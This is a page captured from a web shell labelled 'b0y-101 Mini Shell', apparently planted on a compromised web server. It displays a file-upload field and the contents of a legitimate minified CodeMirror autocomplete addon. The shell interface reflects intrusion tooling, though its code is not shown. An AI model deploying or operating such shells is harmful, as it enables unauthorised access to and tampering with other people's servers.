b0y-101 Mini Shell


Current Path : E:/www/plan/media/editors/codemirror/addon/hint/
File Upload :
Current File : E:/www/plan/media/editors/codemirror/addon/hint/anyword-hint.min.js

!(function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use strict";var b=/[\w$]+/;a.registerHelper("hint","anyword",(function(c,d){for(var e=d&&d.word||b,f=d&&d.range||500,g=c.getCursor(),h=c.getLine(g.line),i=g.ch,j=i;j&&e.test(h.charAt(j-1));)--j;for(var k=j!=i&&h.slice(j,i),l=d&&d.list||[],m={},n=new RegExp(e.source,"g"),o=-1;o<=1;o+=2)for(var p=g.line,q=Math.min(Math.max(p+o*f,c.firstLine()),c.lastLine())+o;p!=q;p+=o)for(var r,s=c.getLine(p);r=n.exec(s);)p==g.line&&r[0]===k||k&&0!=r[0].lastIndexOf(k,0)||Object.prototype.hasOwnProperty.call(m,r[0])||(m[r[0]]=!0,l.push(r[0]));return{list:l,from:a.Pos(g.line,j),to:a.Pos(g.line,i)}}))}));

Copyright © 2019 by b0y-101